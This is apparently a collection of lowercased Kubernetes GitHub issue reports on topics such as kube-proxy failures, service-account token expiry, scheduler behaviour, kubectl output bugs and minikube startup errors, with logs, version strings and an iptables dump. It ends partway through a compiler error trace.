sometimes i get tls timeout on aks, this is not suppose to be happening. is there any specific reason or solution for this?\r \r unable to connect to the server: net/http: tls handshake timeout\r @kubernetes/sig-azure-bugs

is this a bug report or feature request?  :\r \r kind bug\r \r   what happened  :\r after execute kubeadm init\r during kube-proxy pod initialization there is crashloopbackoff error all the time\r \r logs from pod: \r  centos@server-k8s-clust-kubernetes-master-host-hkg9ht ~ $ kubectl logs kube-proxy-8gs45  -n kube-system\r \r > w0911 10:29:19.932277       1 server_others.go:295  flag proxy-mode=\ \  unknown, assuming iptables proxy\r > i0911 10:29:19.942554       1 server_others.go:148  using iptables proxier.\r > f0911 10:29:19.942577       1 server.go:361  unable to create proxier: can't set sysctl net/ipv4/conf/all/route_localnet: open /proc/sys/net/ipv4/conf/all/route_localnet: read-only file system\r \r   what you expected to happen  :\r kube-proxy pod run properly\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. first follow instruction: https://kubernetes.io/docs/setup/independent/install-kubeadm/\r \r 2. next try to execute:  sudo kubeadm init --kubernetes-version=1.12.0-beta.1 \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r > server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-beta.1\ , gitcommit:\ 553515b823634919e731774556fae554c95a6a5f\ , gittreestate:\ clean\ , builddate:\ 2018-09-05t03:30:08z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r > openstack\r \r - os  e.g. from /etc/os-release :\r \r > name=\ centos linux\ \r > version=\ 7  core \ \r > id=\ centos\ \r > id_like=\ rhel fedora\ \r > version_id=\ 7\ \r > pretty_name=\ centos linux 7  core \ \r > ansi_color=\ 0;31\ \r > cpe_name=\ cpe:/o:centos:centos:7\ \r > home_url=\ https://www.centos.org/\ \r > bug_report_url=\ https://bugs.centos.org/\ \r > \r > centos_mantisbt_project=\ centos-7\ \r > centos_mantisbt_project_version=\ 7\ \r > redhat_support_product=\ centos\ \r > redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r \r > linux server-k8s-clust-kubernetes-master-host-hkg9ht.openstacklocal 3.10.0-693.5.2.el7.x86_64  1 smp fri oct 20 20:32:50 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r \r - install tools:\r \r > docker 18.06.0-ce\r \r - others:\r

what happened  :\r \r this all happened in a  gke 1.13.5-gke.10  alpha cluster.\r \r 1.  kube-proxy  stopped working and inspecting the logs showed messages like:\r    \r e0509 02:05:11.750695       6 reflector.go:125  k8s.io/client-go/informers/factory.go:132: failed to list  v1.service: unauthorized\r e0509 02:05:11.755213       6 reflector.go:125  k8s.io/client-go/informers/factory.go:132: failed to list  v1.endpoints: unauthorized\r    \r 2. upon inspection of the kube-proxy pod, i saw it was using the  boundserviceaccounttokenvolume  feature. notice that the expirationseconds is 1 hour. this is exactly how much time kube-proxy was working correctly before it started throwing errors, which i confirmed from the logs.\r    yaml\r volumemounts:                                                                                                                                                                                                                                                                                                                                                                                         \r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount                                                                                                                                                     \r       name: kube-api-access-7mbbq                                                                                                                                                                                  \r       readonly: true\r \r volumes:\r - name: kube-api-access-7mbbq\r     projected:\r       defaultmode: 420\r       sources:\r       - serviceaccounttoken:\r           expirationseconds: 3600\r           path: token\r       - configmap:\r           items:\r           - key: ca.crt\r             path: ca.crt\r           name: kube-root-ca.crt\r       - downwardapi:\r           items:\r           - fieldref:\r               apiversion: v1\r               fieldpath: metadata.namespace\r             path: namespace\r    \r \r 3. recreating the pod  deleting and letting daemonset create it again  fixed the problem, which indicated that  kube-proxy  is not reloading the serviceaccount token.\r \r there could also be problems with other controllers.\r i just didn't happen to stumble upon them.\r \r   what you expected to happen  :\r \r i would expect  kube-proxy  to work.\r the observed behaviour is possibly due to  kube-proxy  not reloading the serviceaccount token.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r generally, you need a k8s 1.13 cluster with the boundserviceaccounttokenvolume feature gate enabled. i will use gke as this is the environment i was using when stumbling upon this.\r \r 1. create a  gke 1.13.5-gke.10  alpha cluster  public preview   any 1.13 cluster should work .\r 2. wait for 1 hour  confirm that kube-proxy's sa token expires in 3600 seconds .\r 3. ssh into the node and view kube-proxy logs:  cat /var/log/kube-proxy.log \r \r   anything else we need to know?  :\r \r this was reported in the kubernetes slack, in the  gke channel.\r @mikedanese was very helpful, managed to reproduce the issue and has filed  77613 which could be a fix.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.5-gke.10\ , gitcommit:\ f5949b3427099d4e410ef96d6e0fea3cd4794e10\ , gittreestate:\ clean\ , builddate:\ 2019-04-10t19:05:37z\ , goversion:\ go1.11.5b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: gke 1.13.5-gke.10\r - os  e.g:  cat /etc/os-release  : 18.04.2 lts  bionic beaver \r - kernel  e.g.  uname -a  : 4.15.0-1029-gcp\r - install tools: gke\r - network plugin and version  if this is a network-related bug : \r - others:\r

in  10242, @bgrant0607 said \ we should create a resource-management tutorial, which explains things like how to debug ooms, how to figure out resource usage with heapster, how to set and rollout resource limits, and how to use limitrange. @vishh\

i had a user report that they couldn't delete a system controller: https://twitter.com/ericbuth/status/667069692109017088  ultimately we referred to: https://github.com/kubernetes/kubernetes/issues/11435 issuecomment-122254035  but the existing behavior when this happens is bad/opaque.  if we don't want to allow people to do this, we should kick a very explicit message inside kubectl.

currently each node is passed through all the predicates to figure out whether the node is a match/fit to host the pod or not. the predicates are expected to return true/false without an error. however, if a predicate returns an error for a particular node, the scheduler throws an error and that pod that does not get scheduled.  instead, i would suggest we continue on to other nodes to see if any of them can be a fit and clear the all predicates. this might make for a slightly sub-optimal scheduling decision  assuming that the node was expected to clear the predicate in the absence of the error , but at least the pod gets scheduled.  if this makes sense, i can quickly make this change and add test cases and submit a pr.  cc: @derekwaynecarr @kubernetes/sig-scheduling

observed a case where a job somehow created 84k pods. i think the user had set parallelism to 0 to pause it by the time i saw it. so i'm not sure how exactly to reproduce, but we should think about implementing some sanity limits. p1 since i was paged about this.

currently there are bidirectional tipping points, for example 16, after crossing which the pod is restarted. so if whenever node number goes from 15->17 or 17->15 the pod is restarted. the tipping points should be more separated. 15 -> 17 can trigger a restart but another restart should be rather around 12  13->11 .  cc: @q-lee @piosz

node names can be reused.  on aws with bigger clusters, they can be reused within the space of a few minutes.\r \r there are a few places where we use node names, where i believe it would be safer to use a node uid.  as well as the potential race conditions, use of a non-unique identifier makes caching much harder / more dangerous.\r \r   in the volume controller and cloudprovider calls  i'm looking into this one \r   in the scheduler, i believe we assign a pod to a node using only a node name.  so if a replacement node comes up with the same name and the pod has not been destroyed, it will run on a different node than the scheduler intended.\r \r is there anything mitigating the scheduler risk, other than timing arguments?   i do think it is unlikely in practice .\r \r i am thinking about where we have a nodename, passing a pair  struct  of name and uid instead.\r \r cc @saad-ali @jingxu97 @gnufied for volumes\r \r not sure who to cc for scheduler!

forked from  43239\r \r  kubectl rollout  commands  such as  undo  or  history   should take deployment overlapping annotation into consideration; for example, when listing replica sets. it won't interfere with the other overlapped deployment, but may cause user confusions. \r \r @kargakis @kubernetes/sig-apps-bugs

kubernetes version  :\r    \r $ rpm -qa | grep kube\r kubernetes-node-1.5.2-0.6.gitd33fd89.el7.x86_64\r kubernetes-client-1.5.2-0.6.gitd33fd89.el7.x86_64\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \ centos linux 7  core \ \r -   kernel    e.g.  uname -a  : 3.10.0-514.16.1.el7.x86_64\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r i deployed a new cluster with 1.5.2-0.6.gitd33fd89.el7\r i tried to \ curl http://nginx\   my kubernetes service  from client-pod1\r the request works except if the nginx pod is on the same node as client-pod1\r dns resolution works fine regardless.\r \r   what you expected to happen  :\r i would expect \ curl http://nginx\  to work regardless of the location of client-pod1 or nginx pod.\r when i reinstalled using 1.5.2-0.5.gita552679.el7 the problem no longer exists. i also don't see this problem on any of my other clusters which are all 1.5.2-0.5.gita552679.el7.\r \r   how to reproduce it    as minimally and precisely as possible :\r install 1.5.2-0.6.gitd33fd89.el7 on multiple nodes and a master\r create service nginx with 1 nginx pod\r create a client pod\r attempt to \ curl http://nginx\  from client pod, should fail if the nginx pod is on the same node, should succeed otherwise.\r \r   anything else we need to know  :\r i compared iptables-save between versions but nothing jumped out at me.\r additional info from kube node:\r    \r /usr/bin/kube-proxy --logtostderr=true --v=0 --master=http://ommitted:8080 --kubeconfig=/etc/kubernetes/proxy.kubeconfig\r \r /usr/bin/kubelet --logtostderr=true --v=0 --api-servers=http://ommitted:8080 --address=0.0.0.0 --allow-privileged=true --kubeconfig=/etc/kubernetes/kubelet.kubeconfig --config=/etc/kubernetes/manifests --cluster-dns=192.168.8.10 --cluster-domain=cluster.local\r \r $ cat /etc/kubernetes/proxy.kubeconfig\r apiversion: v1\r kind: config\r current-context: proxy-to-cluster.local\r preferences: {}\r contexts:\r - context:\r     cluster: cluster.local\r     user: proxy\r   name: proxy-to-cluster.local\r clusters:\r - cluster:\r     server: http://ommitted:8080\r   name: cluster.local\r users:\r - name: proxy\r \r   iptables-save\r   generated by iptables-save v1.4.21 on tue jun 13 16:05:15 2017\r  filter\r :input accept  2:140 \r :forward accept  0:0 \r :output accept  1:88 \r :docker -  0:0 \r :docker-isolation -  0:0 \r :kube-firewall -  0:0 \r :kube-services -  0:0 \r -a input -j kube-firewall\r -a forward -j docker-isolation\r -a forward -o docker0 -j docker\r -a forward -o docker0 -m conntrack --ctstate related,established -j accept\r -a forward -i docker0 ! -o docker0 -j accept\r -a forward -i docker0 -o docker0 -j accept\r -a output -j kube-firewall\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a docker -d 192.168.14.194/32 ! -i docker0 -o docker0 -p tcp -m tcp --dport 5000 -j accept\r -a docker-isolation -j return\r -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packets\  -m mark --mark 0x8000/0x8000 -j drop\r commit\r   completed on tue jun 13 16:05:15 2017\r   generated by iptables-save v1.4.21 on tue jun 13 16:05:15 2017\r  nat\r :prerouting accept  0:0 \r :input accept  0:0 \r :output accept  0:0 \r :postrouting accept  0:0 \r :docker -  0:0 \r :kube-mark-drop -  0:0 \r :kube-mark-masq -  0:0 \r :kube-nodeports -  0:0 \r :kube-postrouting -  0:0 \r :kube-sep-4c6jaekafbpwyaj2 -  0:0 \r :kube-sep-4kt6grjvtbdh6epg -  0:0 \r :kube-sep-4ym3hbat6hjhyqql -  0:0 \r :kube-sep-cfyquwxpcybyw3u6 -  0:0 \r :kube-sep-ehrspge7pexghoar -  0:0 \r :kube-sep-g5c7ni26b6qgbe3r -  0:0 \r :kube-sep-ofmvm5hfwu6mgkxo -  0:0 \r :kube-sep-xawgh2frdnzo2ilj -  0:0 \r :kube-services -  0:0 \r :kube-svc-erifxisqep7f7of4 -  0:0 \r :kube-svc-npx46m4ptmtkrn6y -  0:0 \r :kube-svc-tcou7jcqxezgvunu -  0:0 \r :kube-svc-zmb7g7qdtw6eobvj -  0:0 \r -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r -a prerouting -m addrtype --dst-type local -j docker\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output ! -d 127.0.0.0/8 -m addrtype --dst-type local -j docker\r -a postrouting -s 192.168.14.192/26 ! -o docker0 -j masquerade\r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r -a postrouting -s 192.168.14.194/32 -d 192.168.14.194/32 -p tcp -m tcp --dport 5000 -j masquerade\r -a docker -i docker0 -j return\r -a docker -d 127.0.0.1/32 ! -i docker0 -p tcp -m tcp --dport 5000 -j dnat --to-destination 192.168.14.194:5000\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r -a kube-sep-4c6jaekafbpwyaj2 -s 192.168.15.2/32 -m comment --comment \ kube-system/kube-dns:dns\  -j kube-mark-masq\r -a kube-sep-4c6jaekafbpwyaj2 -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp -j dnat --to-destination 192.168.15.2:53\r -a kube-sep-4kt6grjvtbdh6epg -s 192.168.14.2/32 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-mark-masq\r -a kube-sep-4kt6grjvtbdh6epg -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp -j dnat --to-destination 192.168.14.2:53\r -a kube-sep-4ym3hbat6hjhyqql -s 192.168.12.194/32 -m comment --comment \ kube-system/kube-dns:dns\  -j kube-mark-masq\r -a kube-sep-4ym3hbat6hjhyqql -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp -j dnat --to-destination 192.168.12.194:53\r -a kube-sep-cfyquwxpcybyw3u6 -s 192.168.14.2/32 -m comment --comment \ kube-system/kube-dns:dns\  -j kube-mark-masq\r -a kube-sep-cfyquwxpcybyw3u6 -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp -j dnat --to-destination 192.168.14.2:53\r -a kube-sep-ehrspge7pexghoar -s 192.168.15.2/32 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-mark-masq\r -a kube-sep-ehrspge7pexghoar -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp -j dnat --to-destination 192.168.15.2:53\r -a kube-sep-g5c7ni26b6qgbe3r -s 192.168.12.194/32 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-mark-masq\r -a kube-sep-g5c7ni26b6qgbe3r -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp -j dnat --to-destination 192.168.12.194:53\r -a kube-sep-ofmvm5hfwu6mgkxo -s 10.0.33.116/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-ofmvm5hfwu6mgkxo -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-ofmvm5hfwu6mgkxo --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 10.0.33.116:6443\r -a kube-sep-xawgh2frdnzo2ilj -s 192.168.14.67/32 -m comment --comment \ default/datadog:statsd\  -j kube-mark-masq\r -a kube-sep-xawgh2frdnzo2ilj -p udp -m comment --comment \ default/datadog:statsd\  -m udp -j dnat --to-destination 192.168.14.67:8125\r -a kube-services -d 192.168.8.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-svc-tcou7jcqxezgvunu\r -a kube-services -d 192.168.8.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-svc-erifxisqep7f7of4\r -a kube-services -d 192.168.8.170/32 -p udp -m comment --comment \ default/datadog:statsd cluster ip\  -m udp --dport 8125 -j kube-svc-zmb7g7qdtw6eobvj\r -a kube-services -d 192.168.8.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r -a kube-services -m comment --comment \ kubernetes service nodeports; note: this must be the last rule in this chain\  -m addrtype --dst-type local -j kube-nodeports\r -a kube-svc-erifxisqep7f7of4 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m statistic --mode random --probability 0.33332999982 -j kube-sep-g5c7ni26b6qgbe3r\r -a kube-svc-erifxisqep7f7of4 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-4kt6grjvtbdh6epg\r -a kube-svc-erifxisqep7f7of4 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-sep-ehrspge7pexghoar\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 10800 --reap --name kube-sep-ofmvm5hfwu6mgkxo --mask 255.255.255.255 --rsource -j kube-sep-ofmvm5hfwu6mgkxo\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube-sep-ofmvm5hfwu6mgkxo\r -a kube-svc-tcou7jcqxezgvunu -m comment --comment \ kube-system/kube-dns:dns\  -m statistic --mode random --probability 0.33332999982 -j kube-sep-4ym3hbat6hjhyqql\r -a kube-svc-tcou7jcqxezgvunu -m comment --comment \ kube-system/kube-dns:dns\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-cfyquwxpcybyw3u6\r -a kube-svc-tcou7jcqxezgvunu -m comment --comment \ kube-system/kube-dns:dns\  -j kube-sep-4c6jaekafbpwyaj2\r -a kube-svc-zmb7g7qdtw6eobvj -m comment --comment \ default/datadog:statsd\  -j kube-sep-xawgh2frdnzo2ilj\r commit\r    \r \r thanks!

1.7 release blocking issues for  kubernetes/kubectl  https://github.com/kubernetes/kubectl \r \r -  x  kubernetes/kubernetes 47571  kubectl did not print readable message of statefulset pvc's capacity.  -  x   43464  kubectl upgrade tests failing 1.6 -> 1.7 \r

failure cluster  312beb2c099bf62e2c33  https://go.k8s.io/triage 312beb2c099bf62e2c33        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=kubectl --kubectl-path=/workspace/kubernetes_skew/cluster/kubectl.sh: exit status 1           failure cluster statistics: 1 tests failed,    4 jobs failed,    85 builds failed. failure stats cover 1 day time range '24 jun 2017 22:03 utc' to '25 jun 2017 22:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 4 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-new-master-gci-kubectl-skew | 23 |  25 jun 2017 20:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-gci-kubectl-skew/46  | | ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew | 21 |  25 jun 2017 20:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew/46  | | ci-kubernetes-e2e-gce-new-master-cvm-kubectl-skew | 21 |  25 jun 2017 20:48 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-cvm-kubectl-skew/46  |   current status  https://go.k8s.io/triage 312beb2c099bf62e2c33

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r  \r   what happened  : \r \r @wlan0 mentioned  here  https://github.com/kubernetes/kubernetes/pull/50730 issuecomment-323485938  that:\r > secondly, there are some clouds whose providerid cannot be inferred from a remote location even within the cloud  e.g. openstack . this is why we wanted to have the ability to set a unique id while starting the kubelet.\r \r currently,   monitornode     https://github.com/kubernetes/kubernetes/blob/02b520f0a40be2056d91fc0661c2b4fdb2694c30/pkg/controller/cloud/nodecontroller.go l240  in the node controller only checks with the ccm if a node still exists by calling  externalid nodename  .  externalid  is supposed to return the provider id of a node by its node name which is not supported on every cloud. this means that any clouds who cannot infer the provider id by the node name from a remote location will never remove nodes that no longer exist. \r \r   what you expected to happen  :\r \r i'd expect the cloud node controller to ask the ccm if the instance still exists by node name and provider id just like the other methods in the cloud provider interface. \r \r   other  \r \r it seems weird to me that we check if a node exists by calling  externalid nodename  . i feel we should add two more methods to the   instances   https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/cloud.go l116  interface for this purpose like:\r    exists nodename types.nodename   bool, error  \r    existsbyproviderid providerid string   bool, error  \r \r i see in some places that  externalid  has deprecated; however, i can't find anywhere that says what it was deprecated in favor of. sorry if this is a duplicate of an existing issue/proposal. \r \r cc @wlan0 @andrewsykim @luxas \r \r related:  48690

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r currently, fc plugin returns volume name and empty fcvolumesource during construtvolumespec during  filesystem volume's reconstruction . however, in order to recreate newmounter from volumespec, volume information are lacking. as a result, filesystem volume's reconstruction always fails.\r \r   what you expected to happen  :\r \r filesystem volume's reconstruction works properly, then a volume is unmounted and detached from kubelet node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  1  create filesystem volume using fc plugin\r  2  restart kubelet service which a pod with fc volume is running\r \r   anything else we need to know?  :\r cc @rootfs @jsafrane \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.568+df2428c6dd30c5-dirty\ , gitcommit:\ df2428c6dd30c591444c9bd9b5e8322986da331a\ , gittreestate:\ dirty\ , builddate:\ 2018-01-10t00:24:57z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.568+df2428c6dd30c5-dirty\ , gitcommit:\ df2428c6dd30c591444c9bd9b5e8322986da331a\ , gittreestate:\ dirty\ , builddate:\ 2018-01-10t01:10:36z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - install tools: local-cluster-up.sh\r

currently we can set several webhooks for mutating and validating admission, but  we do not provide a way to set http timeout. and now they all use a default 30s. \r \r i think the timeout should be set according to particular cases.\r \r  

e0329 13:35:11.111234       1 authentication.go:64  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, crypto/rsa: verification error  \r     e0329 13:35:33.402009       1 authentication.go:64  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, crypto/rsa: verification error  \r     e0329 13:38:23.346687       1 authentication.go:64  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, crypto/rsa: verification error  \r \r there is no information about which pod or ip tried to do that which makes looking for it very \ fun\  experience.\r \r i wanted to make pull request, then i've read what is involved and decided it is not worth fucking around with cla for a string of text, here is code if you want it \r \r https://github.com/efigence/kubernetes/commit/1d56a7fd377482f7c6307cc1525856fa6aec59c5\r \r \r \r

jsoniter.register    functions are not safe to use  see https://github.com/json-iterator/go/issues/265 and https://github.com/kubernetes/kubernetes/pull/63668/files r189109649 . this issue is to add a linter that prevents their use in kubernetes codebase,   including all the vendored libraries  .\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r if using  kubectl create --dry-run --output=yaml , kubectl does not respect multiple yaml documents separated by \ ---\  and outputs a single yaml file.\r \r   what you expected to happen  :\r \r generate multiple yamls.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. lets suppose we have a document  input.yaml \r \r    yaml\r apiversion: v1\r kind: namespace\r metadata:\r   name: a\r ---\r apiversion: v1\r kind: namespace\r metadata:\r   name: b\r    \r \r 2. run\r    yaml\r   kubectl create -f input.yaml --dry-run --output=yaml\r apiversion: v1\r kind: namespace\r metadata:\r   name: a\r   namespace: \ \ \r apiversion: v1\r kind: namespace\r metadata:\r   name: b\r   namespace: \ \ \r    \r note, that there are missing the hyphens and therefore the produced yaml contains all root level keys duplicated.\r \r expected output would be \r \r    yaml\r   kubectl create -f input.yaml --dry-run --output=yaml\r apiversion: v1\r kind: namespace\r metadata:\r   name: a\r   namespace: \ \ \r ---   <----- i expect 3 hyphens here\r apiversion: v1\r kind: namespace\r metadata:\r   name: b\r   namespace: \ \ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r i tried both\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r and\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r cannot set env from node label for pod or deploy\r   what you expected to happen  :\r can set env from node label \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r or please tell me why it should be supported\r   environment  :\r - kubernetes version  use  kubectl version  :\r    client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:29:47z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

/help-wanted\r    i want to build up the kubernetes environment on my local win10 system.\r \r installed virtualbox and minikube on my win10 laptop.\r <img width=\ 230\  alt=\ wechat image_20180817150958\  src=\ https://user-images.githubusercontent.com/33924918/44259305-b94add80-a243-11e8-823f-795d36a1b689.png\ >\r \r then try to start the cluster by follow command:\r \r   >  minikube start --vm-driver=virtualbox --logtostderr\r \r after \ starting cluster components...\ , it says error as below \r    i0817 15:12:23.987899   16328 kubernetes.go:119  error getting pods with label selector \ k8s-app=kube-proxy\   get https://192.168.99.100:8443/api/v1/namespaces/kube-system/pods?labelselector=k8s-app%3dkube-proxy: dial tcp 192.168.99.100:8443: connectex: no connection could be made because the target machine actively refused it.    \r \r <img width=\ 953\  alt=\ wechat image_20180817151400\  src=\ https://user-images.githubusercontent.com/33924918/44259376-e39c9b00-a243-11e8-8189-40b15a98eccb.png\ >\r <img width=\ 955\  alt=\ wechat image_20180817151500\  src=\ https://user-images.githubusercontent.com/33924918/44259380-e5665e80-a243-11e8-8fd5-05a12d672360.png\ >\r \r can somebody help?thanks very much!

it takes up my entire screen and i have to scroll up to see what actually failed to compile. the information in the trace doesn't seem useful.  hack/build-go.sh  +++  0208 13:04:14  building go targets for linux/amd64:     cmd/kube-proxy     cmd/kube-apiserver     cmd/kube-controller-manager     cmd/kubelet     cmd/kubemark     cmd/hyperkube     cmd/linkcheck     plugin/cmd/kube-scheduler     cmd/kubectl     cmd/integration     cmd/gendocs _output/local/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:203: cannot use s.kubecontrollermanagerconfiguration.servicesyncperiod  type \ k8s.io/kubernetes/pkg/api/unversioned\ .duration  as type time.duration in argument to servicecontroller.run _output/local/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:203: cannot use s.kubecontrollermanagerconfiguration.nodesyncperiod  type \ k8s.io/kubernetes/pkg/api/unversioned\ .duration  as type time.duration in argument to servicecontroller.run _output/local/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:213: cannot use &s.kubecontrollermanagerconfiguration.clustercidr  type _string  as type  \ net\ .ipnet in argument to route.new _output/local/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:214: cannot use s.kubecontrollermanagerconfiguration.nodesyncperiod  type \ k8s.io/kubernetes/pkg/api/unversioned\ .duration  as type time.duration in argument to routecontroller.run _output/local/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:222: cannot use s.kubecontrollermanagerconfiguration.resourcequotasyncperiod  type \ k8s.io/kubernetes/pkg/api/unversioned\ .duration  as type time.duration in argument to controller.staticresyncperiodfunc _output/local/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/plugins.go:48: undefined: options.volumeconfigflags _output/local/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/plugins.go:91: undefined: 